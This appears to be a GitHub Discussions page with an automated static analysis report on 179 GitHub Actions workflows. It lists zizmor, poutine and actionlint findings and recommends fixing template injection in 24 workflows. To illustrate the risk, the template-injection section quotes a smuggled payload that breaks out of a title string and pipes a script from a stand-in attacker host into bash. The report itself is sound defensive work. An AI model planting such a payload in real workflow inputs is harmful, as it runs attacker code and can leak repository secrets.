Static Analysis Report - 2026-04-01 #23942
Closed
Replies: 1 comment
-
|
This discussion has been marked as outdated by Static Analysis Report. A newer discussion is available at Discussion #24166. |
Beta Was this translation helpful? Give feedback.
0 replies
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Uh oh!
There was an error while loading. Please reload this page.
-
Analysis Summary
Daily static analysis scan completed on 179 workflows using zizmor, poutine, and actionlint. Total findings increased by +39 from yesterday (8601 vs 8562), consistent with 1 new workflow being added.
Findings by Tool
Clustered Findings by Tool and Type
Zizmor Security Findings
Poutine Supply Chain Findings
Actionlint Linting Issues
{ cmd1; cmd2; } >> fileinstead of individual redirectscopilot-requests(not recognized by actionlint)activation.outputs.activatedproperty not defined in object typeaw-gpu-runner-T4findinstead oflsTop Priority Issues
1. Template Injection (High Severity) — Most Critical Security Risk
$\{\{ github.event.issue.title }},$\{\{ github.head_ref }}, etc.) are directly interpolated intorun:shell scripts, enabling arbitrary command injection if an attacker crafts a malicious PR/issue title or comment."; curl attacker.com/pwn.sh | bash; ". This can exfiltrate secrets, modify code, or pivot to other systems.2. Secrets Outside Environment (Medium — Widespread)
$\{\{ secrets.TOKEN }}) without using a dedicatedenv:block, making them vulnerable to log leakage or injection.3. Unknown Permission Scope
copilot-requestscopilot-requests: writepermission scope which actionlint does not recognize. This is likely a custom/newer permission not yet in actionlint's schema. Not a critical issue but generates noise.Fix Suggestion for Template Injection (Highest Priority)
Issue: Direct interpolation of user-controlled GitHub Actions expressions into shell
run:scriptsSeverity: High
Affected Workflows: 24 workflows with High-severity instances
Prompt to Copilot Agent:
After (fixed):
Common untrusted expressions to look for:
$\{\{ github.event.issue.title }}/$\{\{ github.event.issue.body }}$\{\{ github.event.pull_request.title }}/$\{\{ github.event.pull_request.body }}$\{\{ github.event.comment.body }}$\{\{ github.head_ref }}$\{\{ github.event.discussion.title }}/$\{\{ github.event.discussion.body }}$\{\{ github.event.review.body }}Apply this fix to all 24 affected workflows: audit-workflows, copilot-pr-nlp-analysis,
copilot-session-insights, daily-code-metrics, daily-copilot-token-report,
daily-firewall-report, daily-integrity-analysis, daily-issues-report,
daily-multi-device-docs-tester, daily-news, daily-performance-summary,
daily-repo-chronicle, deep-report, docs-noob-tester, github-mcp-structural-analysis,
org-health-report, poem-bot, portfolio-analyst, python-data-charts,
stale-repo-identifier, technical-doc-writer, unbloat-docs,
weekly-editors-health-check, weekly-issue-summary.
Beta Was this translation helpful? Give feedback.
All reactions